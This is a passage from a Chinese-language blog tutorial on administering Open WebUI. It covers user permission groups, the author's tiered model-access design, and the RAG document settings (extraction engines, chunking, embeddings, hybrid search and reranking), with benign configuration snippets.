id="权限组管理">权限组管理</h3><p>权限组功能允许你将用户分组，然后批量分配权限。</p><p><strong>创建权限组</strong>：</p><p>管理员面板 → 用户 → 权限组 → 点击 “创建权限组”</p><p>填写信息：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092335260.png" alt="image-20260213092335260"></p><table><thead><tr><th>字段</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><strong>组名</strong></td><td>权限组名称</td><td>开发团队</td></tr><tr><td><strong>描述</strong></td><td>组的说明</td><td>负责产品开发的团队成员</td></tr></tbody></table><p><strong>添加成员到权限组</strong>：</p><p>创建权限组后，点击 “添加成员” 按钮，选择要添加的用户。</p><p><strong>为权限组分配权限</strong>：</p><p>权限组创建后，你可以：</p><ul><li>将特定模型的访问权限分配给权限组</li><li>将知识库的访问权限分配给权限组</li><li>将工具和函数的使用权限分配给权限组</li></ul><p>这样，当你添加新成员到权限组时，他们会自动获得组的所有权限，无需逐个配置。</p><blockquote><p>💡 系统默认有一个&quot;默认权限&quot;组，用于所有具有&quot;用户&quot;角色的用户。你可以点击进入修改默认权限。</p></blockquote><h3 id="我的权限组设计">我的权限组设计</h3><p>我接入了大量模型（100+ 个），来源包括 AWS Bedrock、OpenAI、Google Gemini、GitHub Copilot、iFlow 代理、Moonshot 等多个渠道。不同渠道的成本差异很大，不能让所有用户无差别地使用全部模型。</p><p>我借助大模型分析了数据库中的模型列表和权限表结构，设计了三级权限组：</p><table><thead><tr><th>权限组</th><th>定位</th><th>可用模型数</th><th>说明</th></tr></thead><tbody><tr><td><strong>试用组</strong></td><td>新用户体验</td><td>13 个</td><td>仅提供轻量级免费/低成本模型，功能受限（不可多模型对话、不可创建频道等）</td></tr><tr><td><strong>正式组</strong></td><td>日常使用</td><td>77 个</td><td>拥有所有自有渠道模型的访问权限，功能完整</td></tr><tr><td><strong>管理组</strong></td><td>管理员</td><td>102 个（全部）</td><td>在正式组基础上额外拥有高成本第三方渠道模型（GitHub Copilot、SciHub 镜像）</td></tr></tbody></table><p><strong>试用组可用模型（13 个）</strong>：</p><p>只开放成本最低的轻量模型，让新用户体验基本功能：</p><ul><li>Claude Haiku 4.5 系列（AWS 直连 + Kiro 通道）</li><li>Gemini 2.5 Flash / Flash Lite</li><li>GPT-5 Codex Mini / GPT-5.1 Codex Mini</li><li>Qwen3 Coder Flash</li><li>Kiro GPT-3.5/4/4o（旧模型，成本极低）</li></ul><p><strong>正式组额外可用模型（+64 个）</strong>：</p><p>在试用组基础上，解锁所有自有渠道的中高端模型：</p><ul><li>Claude Sonnet 4/4.5、Opus 4.5/4.6 全系列（含 Thinking、Agentic 变体）</li><li>Gemini 2.5 Pro、3 Pro/Flash Preview</li><li>GPT-5/5.1/5.2/5.3 全系列</li><li>DeepSeek V3/V3.1/V3.2、R1（通过 iFlow）</li><li>Qwen3 Max/235B/Coder Plus（通过 iFlow）</li><li>Kimi K2/K2.5（Moonshot 直连 + iFlow）</li><li>GLM 4.6/4.7/5（通过 iFlow）</li><li>MiniMax M2/M2.1（通过 iFlow）</li></ul><p><strong>管理组专属模型（+25 个）</strong>：</p><p>这些模型走 GitHub Copilot 和 SciHub 镜像渠道，成本较高或属于特殊用途，仅管理员可用：</p><ul><li><code>gh-*</code> 系列（21 个）：GitHub Copilot 高级模型，包括 gh-gpt-5.2、gh-claude-opus-4.6、gh-gemini-3-pro-preview 等</li><li><code>scihub.*</code> 系列（4 个）：SciHub Claude 镜像，包括 scihub.claude-opus-4-6、scihub.claude-sonnet-4-5-20250929 等</li></ul><p><strong>权限组的功能差异</strong>：</p><p>除了模型访问权限，三个组在系统功能上也有区别：</p><table><thead><tr><th>功能</th><th>试用组</th><th>正式组</th><th>管理组</th></tr></thead><tbody><tr><td>多模型对话</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>创建频道/文件夹</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>知识库管理</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>工具/函数管理</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>图片生成</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>笔记功能</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>导入/导出模型</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>界面设置</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>临时对话强制</td><td>✅（强制）</td><td>❌</td><td>❌</td></tr></tbody></table><p><strong>模型图标规范</strong>：</p><p>为了让用户在模型列表中快速识别来源，我为每个模型统一配置了图标：</p><table><thead><tr><th>模型来源</th><th>图标</th></tr></thead><tbody><tr><td>Claude 系列</td><td>claude-color.svg</td></tr><tr><td>OpenAI GPT 系列</td><td>openai.svg</td></tr><tr><td>Gemini 系列</td><td>gemini-color.svg</td></tr><tr><td>Qwen 系列</td><td>qwen-color.svg</td></tr><tr><td>DeepSeek 系列</td><td>deepseek-color.svg</td></tr><tr><td>Kimi 系列</td><td>moonshot.svg</td></tr><tr><td>MiniMax 系列</td><td>minimax-color.svg</td></tr><tr><td>GLM 系列</td><td>zhipu-color.svg</td></tr><tr><td>Grok 系列</td><td>grok.svg</td></tr><tr><td>Kiro（AWS 通道）</td><td>aws-color.svg</td></tr></tbody></table><p>图标统一使用 <code>cdn.jsdelivr.net/npm/@lobehub/icons-static-svg@1.79.0/icons/</code> 的 SVG 资源。</p><p><strong>批量配置方法</strong>：</p><p>手动逐个配置 100+ 个模型的权限和图标不现实。我的做法是：</p><ol><li>在 Open WebUI 管理面板导出模型列表（JSON 格式）</li><li>用大模型编写 Python 脚本，根据模型 ID 前缀和名称自动推断图标和权限组</li><li>脚本批量写入 <code>access_grants</code>（新版格式）和 <code>meta.profile_image_url</code></li><li>将修正后的 JSON 重新导入 Open WebUI</li></ol><p>这样每次上游新增模型或系统升级后，只需重新导出 → 跑脚本 → 导入，几分钟就能完成全部配置。</p><blockquote><p>⚠️ 注意：Open WebUI 升级后数据库结构可能变化。例如从旧版升级到新版时，模型权限从 <code>model</code> 表的 <code>access_control</code> 字段迁移到了独立的 <code>access_grant</code> 表，导出格式也从 <code>access_control</code> 对象变成了 <code>access_grants</code> 数组。升级后建议先导出一份检查格式再操作。</p></blockquote><h3 id="用户活动监控">用户活动监控</h3><p>Open WebUI 提供了用户活动监控功能，帮助你了解系统使用情况。</p><p><strong>查看活跃用户</strong>：</p><p>管理员面板 → 设置 → 通用 → 找到 “显示活跃用户数” 选项</p><p>启用后，在主界面底部会显示当前活跃用户数和正在使用的模型。</p><p><strong>查看用户详情</strong>：</p><p>管理员面板 → 用户 → 点击用户名</p><p>你可以看到：</p><ul><li>创建的对话数量</li><li>使用的模型统计</li></ul><p><strong>注意</strong>：Open WebUI 不会记录用户的具体对话内容，只记录统计信息，保护用户隐私。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092922828.png" alt="image-20260213092922828"></p><hr><h2 id="3-4-RAG-文档功能配置">3.4. RAG 文档功能配置</h2><p>RAG（检索增强生成）是 Open WebUI 的核心功能之一，允许用户基于自己的文档进行问答。本节将从上到下逐一解析 Admin Panel → Settings → Documents 页面的每个配置项，帮助你根据实际场景做出最优选择。</p><p><strong>配置入口</strong>：管理员面板 → 设置 → Documents</p><hr><h3 id="内容提取引擎（Content-Extraction-Engine）">内容提取引擎（Content Extraction Engine）</h3><p>内容提取引擎决定了 Open WebUI 如何从上传的文件中提取文本。通过环境变量 <code>CONTENT_EXTRACTION_ENGINE</code> 选择，共支持 8 种引擎。</p><h4 id="引擎横向对比">引擎横向对比</h4><table><thead><tr><th>引擎</th><th>部署方式</th><th>费用</th><th>支持格式</th><th>OCR 能力</th><th>表格/公式</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>默认（Default）</strong></td><td>本地，零依赖</td><td>免费</td><td>PDF、TXT、CSV、DOCX、代码文件</td><td>❌ 不支持</td><td>❌ 弱</td><td>简单文档，纯文本 PDF</td></tr><tr><td><strong>Apache Tika</strong></td><td>需部署 Java 服务</td><td>免费（开源）</td><td>1400+ 种格式</td><td>❌ 弱</td><td>❌ 弱</td><td>格式种类多的企业环境</td></tr><tr><td><strong>Docling（IBM）</strong></td><td>需部署服务或用 API</td><td>免费（开源）</td><td>PDF、DOCX、PPTX、HTML</td><td>✅ 支持</td><td>✅ 优秀</td><td>复杂排版、表格、公式</td></tr><tr><td><strong>Datalab Marker</strong></td><td>云 API 或自部署</td><td>~$6/千页（高精度）</td><td>PDF、图片</td><td>✅ LLM 增强 OCR</td><td>✅ 优秀</td><td>复杂排版 PDF，可自部署</td></tr><tr><td><strong>Mistral OCR</strong></td><td>云 API</td><td>$1-2/千页</td><td>PDF、图片</td><td>✅ 99%+ 准确率</td><td>✅ 优秀</td><td>扫描件、多语言（25+ 语言）</td></tr><tr><td><strong>Document Intelligence</strong></td><td>Azure 云服务</td><td>~$10/千页</td><td>PDF、图片、表单</td><td>✅ 支持</td><td>✅ 支持</td><td>Azure 生态企业用户</td></tr><tr><td><strong>MinerU</strong></td><td>自部署或云 API</td><td>免费（开源）</td><td>PDF、图片</td><td>✅ 支持</td><td>✅ 最佳</td><td>学术论文、金融报告、公式密集</td></tr><tr><td><strong>External</strong></td><td>自定义 HTTP 服务</td><td>取决于实现</td><td>自定义</td><td>取决于实现</td><td>取决于实现</td><td>对接私有解析服务</td></tr></tbody></table><h4 id="各引擎详细说明">各引擎详细说明</h4><div class="tabs" id="内容提取引擎详解"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="内容提取引擎详解-1">默认引擎</button><button type="button" class="tab " data-href="内容提取引擎详解-2">Apache Tika</button><button type="button" class="tab " data-href="内容提取引擎详解-3">Docling（IBM 开源）</button><button type="button" class="tab " data-href="内容提取引擎详解-4">Datalab Marker</button><button type="button" class="tab " data-href="内容提取引擎详解-5">Mistral OCR</button><button type="button" class="tab " data-href="内容提取引擎详解-6">Document Intelligence</button><button type="button" class="tab " data-href="内容提取引擎详解-7">MinerU</button><button type="button" class="tab " data-href="内容提取引擎详解-8">External</button></ul><div class="tab-contents"><div class="tab-item-content active" id="内容提取引擎详解-1"><p>使用 Python 原生加载器（PyPDFLoader、Docx2txtLoader、CSVLoader、TextLoader），零依赖开箱即用。但不支持 OCR，无法处理扫描件，对复杂表格和公式无能为力。</p><p><strong>适合</strong>：纯文本 PDF 和简单文档，快速上手无需任何额外配置。</p></div><div class="tab-item-content" id="内容提取引擎详解-2"><p>老牌 Java 文档解析框架，格式覆盖最广（1400+），但对 PDF 排版理解较弱，不擅长表格结构保留和公式识别。适合已有 Tika 基础设施的组织。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=tika</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">TIKA_SERVER_URL=http://tika:9998</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-3"><p>Python 原生，对 PDF 排版理解好，表格提取准确，支持公式，输出干净的 Markdown/JSON。在多个评测中与 MinerU 并列 top 2。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=docling</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DOCLING_SERVER_URL=http://docling:5000</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DOCLING_API_KEY=your-api-key</span>  <span class="comment"># 如需认证</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-4"><p>基于开源 <a href="https://github.com/datalab-to/marker">Marker</a> 和 Surya 模型，LLM 增强 OCR。其 Chandra OCR 模型在 olmOCR benchmark 上得分 83.1%，超过 GPT-4o。支持云 API 和自部署两种方式。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=datalab_marker</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DATALAB_MARKER_API_KEY=your-api-key</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-5"><p>号称 99%+ 准确率，支持表格/公式/图表转表格/签名检测，覆盖 25+ 语言。性价比高（$1/千页起），但只能通过 API 调用，无法自部署。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=mistral_ocr</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MISTRAL_OCR_API_KEY=your-api-key</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-6"><p>微软企业级服务，预置发票/收据/身份证等模型，支持自定义模型训练。价格较高但有企业合规保障。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=document_intelligence</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DOCUMENT_INTELLIGENCE_ENDPOINT=https://your-resource.cognitiveservices.azure.com/</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-7"><p>基于 PDF-Extract-Kit 微调模型，在复杂文档（学术论文、教材、金融报告）上表现最佳，表格/公式/图片提取精度高。推荐 GPU 环境运行。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=mineru</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MINERU_API_URL=http://mineru:8000</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MINERU_API_MODE=local</span>  <span class="comment"># cloud 或 local</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-8"><p>万能逃生舱，指向任意 HTTP 服务，适合对接企业内部的私有文档解析服务。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=external</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">EXTERNAL_DOCUMENT_LOADER_URL=http://your-service:8080/extract</span></span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><h4 id="引擎选择建议">引擎选择建议</h4><table><thead><tr><th>场景</th><th>推荐引擎</th><th>理由</th></tr></thead><tbody><tr><td>简单文档、快速上手</td><td>默认</td><td>零配置，开箱即用</td></tr><tr><td>扫描件、多语言文档</td><td>Mistral OCR</td><td>性价比最高，准确率高</td></tr><tr><td>学术论文、公式密集</td><td>MinerU 或 Docling</td><td>表格/公式提取精度最佳</td></tr><tr><td>企业 Azure 环境</td><td>Document Intelligence</td><td>合规保障，预置模型丰富</td></tr><tr><td>想自部署 + 高精度</td><td>Datalab Marker 或 MinerU</td><td>开源可控，精度优秀</td></tr><tr><td>格式种类极多</td><td>Apache Tika</td><td>1400+ 格式覆盖</td></tr></tbody></table><h4 id="PDF-提取图片（PDF-Extract-Images）">PDF 提取图片（PDF Extract Images）</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td>PDF Extract Images</td><td><code>PDF_EXTRACT_IMAGES</code></td><td><code>false</code></td><td>是否从 PDF 中提取嵌入的图片</td></tr></tbody></table><p>启用后会增加处理时间和存储空间，仅在文档中的图片内容对问答有价值时开启。</p><hr><h3 id="PDF-加载模式">PDF 加载模式</h3><p>Open WebUI 提供两种 PDF 处理模式，决定了文档在进入切分器之前的预处理方式：</p><table><thead><tr><th>模式</th><th>行为</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>Page（页模式）</strong></td><td>每页作为独立文档单元，保留页边界</td><td>检索时能精确定位到具体页码</td><td>跨页内容会被截断</td><td>PPT 转 PDF、每页独立主题</td></tr><tr><td><strong>Single Document（单文档模式）</strong></td><td>整个 PDF 合并为一个文本块，再统一切分</td><td>跨页内容不会丢失，语义连贯</td><td>失去页码定位能力</td><td>论文、书籍、报告等连续叙述型文档</td></tr></tbody></table><p><strong>最佳实践</strong>：大多数 RAG 场景推荐 <strong>Single Document</strong> 模式，因为语义连贯性比页码定位更重要。如果文档每页内容相对独立（如幻灯片），则用 Page 模式。</p><hr><h3 id="文本切分（Text-Splitting）">文本切分（Text Splitting）</h3><p>文本切分决定了文档被拆分成多大的片段（chunk）存入向量数据库。切分质量直接影响检索精度。</p><h4 id="切分器类型">切分器类型</h4><table><thead><tr><th>切分器</th><th>计量方式</th><th>特点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>默认（Character）</strong></td><td>按字符数</td><td>使用递归分隔符（<code>\n\n</code> → <code>\n</code> → 空格 → 字符）逐级切分，简单高效，无依赖</td><td>英文文档、通用场景</td></tr><tr><td><strong>Token</strong></td><td>按 token 数</td><td>按模型 tokenizer 计算，切分大小与模型上下文窗口精确对齐</td><td>中文文档（1 个汉字 ≈ 2-3 个 token）、需要精确控制 token 用量</td></tr></tbody></table><h4 id="核心参数">核心参数</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Chunk Size</strong></td><td><code>CHUNK_SIZE</code></td><td>1500</td><td>1000-2000</td><td>每个 chunk 的最大大小。太小丢失上下文，太大降低检索精度</td></tr><tr><td><strong>Chunk Overlap</strong></td><td><code>CHUNK_OVERLAP</code></td><td>100</td><td>Chunk Size 的 5%-15%</td><td>相邻 chunk 的重叠量，保证边界处语义连贯</td></tr></tbody></table><p><strong>参数调优指南</strong>：</p><ul><li><strong>Chunk Size 太小（&lt;500）</strong>：上下文不完整，模型难以理解片段含义</li><li><strong>Chunk Size 太大（&gt;2000）</strong>：包含过多无关信息，检索精度下降</li><li><strong>Chunk Overlap 太小</strong>：重要信息可能被切断在两个 chunk 之间</li><li><strong>Chunk Overlap 太大</strong>：存储冗余增加，检索效率降低</li></ul><h4 id="Markdown-标题文本分割器">Markdown 标题文本分割器</h4><table><thead><tr><th>配置项</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Markdown Header Text Splitter</strong></td><td>关闭</td><td>按 Markdown 标题（H1-H6）进行结构化预切分</td></tr><tr><td><strong>Chunk Min Size Target</strong></td><td>—</td><td>合并过小片段的阈值，建议设为 Chunk Size 的 50%</td></tr></tbody></table><p>启用后，文档会先按 Markdown 标题进行结构化预切分，然后再交给标准切分器处理。好处：</p><ul><li>保留文档的逻辑结构，每个 chunk 属于明确的章节</li><li>避免跨章节切分导致语义混乱</li><li>配合 Chunk Min Size Target 参数，可以将过小的片段向前合并（单向合并算法，不跨文档），官方测试显示阈值设为 1000（chunk size 2000 时）可减少 90%+ 的碎片 chunk</li></ul><p><strong>最佳实践</strong>：如果文档是 Markdown 格式，或提取引擎输出 Markdown（Docling、MinerU、Marker 都输出 Markdown），<strong>强烈建议开启此选项</strong>。</p><hr><h3 id="嵌入模型（Embedding-Model）">嵌入模型（Embedding Model）</h3><p>嵌入模型将文本转换为向量表示，是 RAG 检索的基础。模型质量直接决定检索准确性。</p><h4 id="引擎横向对比-2">引擎横向对比</h4><table><thead><tr><th>引擎</th><th>配置值</th><th>费用</th><th>延迟</th><th>隐私</th><th>推荐模型</th></tr></thead><tbody><tr><td><strong>SentenceTransformers（默认）</strong></td><td><code>&quot;&quot;</code></td><td>免费，本地运行</td><td>中等（取决于硬件）</td><td>完全本地</td><td><code>all-MiniLM-L6-v2</code>（轻量）、<code>BAAI/bge-m3</code>（多语言）</td></tr><tr><td><strong>Ollama</strong></td><td><code>ollama</code></td><td>免费，本地运行</td><td>快（已有 Ollama 实例）</td><td>完全本地</td><td><code>nomic-embed-text</code>（推荐首选）、<code>mxbai-embed-large</code></td></tr><tr><td><strong>OpenAI</strong></td><td><code>openai</code></td><td>按 token 计费</td><td>低（云端）</td><td>数据发送到云端</td><td><code>text-embedding-3-small</code>（性价比）、<code>text-embedding-3-large</code>（高精度）</td></tr><tr><td><strong>Azure OpenAI</strong></td><td><code>azure</code></td><td>按 token 计费</td><td>低（云端）</td><td>Azure 合规保障</td><td>同 OpenAI 模型，通过 Azure 部署</td></tr></tbody></table><h4 id="各引擎详细说明-2">各引擎详细说明</h4><div class="tabs" id="嵌入模型引擎详解"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="嵌入模型引擎详解-1">SentenceTransformers（默认）</button><button type="button" class="tab " data-href="嵌入模型引擎详解-2">Ollama</button><button type="button" class="tab " data-href="嵌入模型引擎详解-3">OpenAI</button><button type="button" class="tab " data-href="嵌入模型引擎详解-4">Azure OpenAI</button></ul><div class="tab-contents"><div class="tab-item-content active" id="嵌入模型引擎详解-1"><p>使用 Python <code>sentence-transformers</code> 库在本地运行，模型自动从 HuggingFace 下载缓存。零成本、完全隐私，但首次加载模型较慢，且占用服务器内存/显存。默认模型 <code>all-MiniLM-L6-v2</code> 较轻量但精度一般。</p><p>⚠️ <strong>网络提示</strong>：如果服务器无法访问 <code>huggingface.co</code>，启动时会出现 SSL 重连错误，RAG 功能将不可用。可添加镜像站环境变量解决：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">HF_ENDPOINT=https://hf-mirror.com</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="嵌入模型引擎详解-2"><p>如果你已经在用 Ollama 跑 LLM，这是最方便的选择。<code>nomic-embed-text</code> 是社区最推荐的模型：8192 token 上下文、完全开源、在 MTEB 和 LoCo 基准上表现优异。</p><p>先下载模型：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ollama pull nomic-embed-text</span><br><span class="line"><span class="comment"># 或中文场景</span></span><br><span class="line">ollama pull bge-m3</span><br></pre></td></tr></table></figure><p>然后配置环境变量：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_ENGINE=ollama</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_MODEL=nomic-embed-text</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_OLLAMA_BASE_URL=http://ollama:11434</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="嵌入模型引擎详解-3"><p>支持任何 OpenAI 兼容端点（包括第三方）。<code>text-embedding-3-small</code>（1536 维）性价比高，<code>text-embedding-3-large</code>（3072 维）精度更好。缺点是有 API 费用、网络延迟、数据隐私风险。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_ENGINE=openai</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_MODEL=text-embedding-3-small</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_OPENAI_API_BASE_URL=https://api.openai.com/v1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_OPENAI_API_KEY=sk-...</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="嵌入模型引擎详解-4"><p>本质上是 OpenAI 模型通过 Azure 托管，适合有 Azure 合规要求的企业。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_ENGINE=azure</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_AZURE_OPENAI_BASE_URL=https://your-resource.openai.azure.com/</span></span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><h4 id="嵌入模型选择建议">嵌入模型选择建议</h4><table><thead><tr><th>场景</th><th>推荐方案</th><th>理由</th></tr></thead><tbody><tr><td>本地优先、已有 Ollama</td><td>Ollama + <code>nomic-embed-text</code></td><td>最佳平衡，免费、快速、质量好</td></tr><tr><td>资源受限、轻量部署</td><td>SentenceTransformers + <code>all-MiniLM-L6-v2</code></td><td>零依赖，内存占用小</td></tr><tr><td>中文文档为主</td><td>Ollama + <code>bge-m3</code> 或 SentenceTransformers + <code>BAAI/bge-m3</code></td><td>多语言支持优秀</td></tr><tr><td>追求精度且不介意费用</td><td>OpenAI + <code>text-embedding-3-large</code></td><td>精度最高</td></tr><tr><td>企业合规要求</td><td>Azure OpenAI</td><td>合规保障</td></tr></tbody></table><h4 id="其他嵌入参数">其他嵌入参数</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Embedding Batch Size</strong></td><td><code>RAG_EMBEDDING_BATCH_SIZE</code></td><td>100</td><td>批量嵌入大小，显存不足时调小</td></tr></tbody></table><p>⚠️ <strong>重要</strong>：更换嵌入模型后，所有已有文档必须重新嵌入（re-embed），因为不同模型的向量空间不兼容。确定模型后不要轻易更换。</p><hr><h3 id="检索与排序（Retrieval-Ranking）">检索与排序（Retrieval &amp; Ranking）</h3><p>检索参数决定了从向量数据库中召回多少结果、如何过滤和排序。这是影响 RAG 最终效果的关键环节。</p><h4 id="核心检索参数">核心检索参数</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Top K</strong></td><td><code>TOP_K</code></td><td>5</td><td>5-10</td><td>返回的最相关 chunk 数量。太少可能遗漏信息，太多会稀释上下文</td></tr><tr><td><strong>Relevance Threshold</strong></td><td><code>RELEVANCE_THRESHOLD</code></td><td>0.0</td><td>0.2-0.5</td><td>最低相关性分数阈值，低于此分数的 chunk 被过滤。设为 0 表示不过滤</td></tr></tbody></table><p><strong>参数调优指南</strong>：</p><ul><li><strong>Top K 太少（❤️）</strong>：可能遗漏重要信息，回答不完整</li><li><strong>Top K 太多（&gt;10）</strong>：包含过多噪音，模型可能被无关内容干扰</li><li><strong>Relevance Threshold 太低（0）</strong>：不过滤，噪音多</li><li><strong>Relevance Threshold 太高（&gt;0.7）</strong>：过滤过严，可能丢失有用信息</li></ul><h4 id="混合搜索（Hybrid-Search）">混合搜索（Hybrid Search）</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>推荐</th><th>说明</th></tr></thead><tbody><tr><td><strong>Hybrid Search</strong></td><td><code>ENABLE_RAG_HYBRID_SEARCH</code></td><td><code>false</code></td><td><strong>开启</strong></td><td>结合向量搜索 + BM25 关键词匹配</td></tr></tbody></table><p>混合搜索使用 <code>EnsembleRetriever</code>，同时执行：</p><ul><li><strong>向量搜索</strong>：基于语义相似度，擅长理解同义词和语义关联</li><li><strong>BM25 关键词匹配</strong>：基于词频统计，擅长精确匹配专有名词、代码、ID 等</li></ul><p>两者互补，<strong>显著提升召回率</strong>，推荐开启。</p><h4 id="重排序（Reranking）">重排序（Reranking）</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Reranking Model</strong></td><td><code>RAG_RERANKING_MODEL</code></td><td>—</td><td>使用 CrossEncoder/ColBERT 对检索结果重排序</td></tr><tr><td><strong>Top K Reranker</strong></td><td><code>TOP_K_RERANKER</code></td><td>—</td><td>重排序后保留的结果数</td></tr></tbody></table><p>重排序的工作流程：</p><ol><li>先通过向量搜索（+ BM25）召回较多候选结果</li><li>再用 CrossEncoder 模型对每个候选结果与查询进行精细打分</li><li>按新分数重新排序，保留 Top K Reranker 个最相关结果</li></ol><p><strong>推荐配合 Hybrid Search 使用</strong>，这是提升 RAG 质量最有效的组合。</p><h4 id="检索策略建议">检索策略建议</h4><table><thead><tr><th>文档规模</th><th>推荐配置</th></tr></thead><tbody><tr><td>小文档集（&lt;100 个文档）</td><td>Top K=5，不需要混合搜索和重排序</td></tr><tr><td>中等文档集（100-1000）</td><td>Top K=5-8，开启 Hybrid Search</td></tr><tr><td>大文档集（&gt;1000）</td><td>Top K=8-10，开启 Hybrid Search + Reranking，Relevance Threshold=0.2+</td></tr></tbody></table><hr><h3 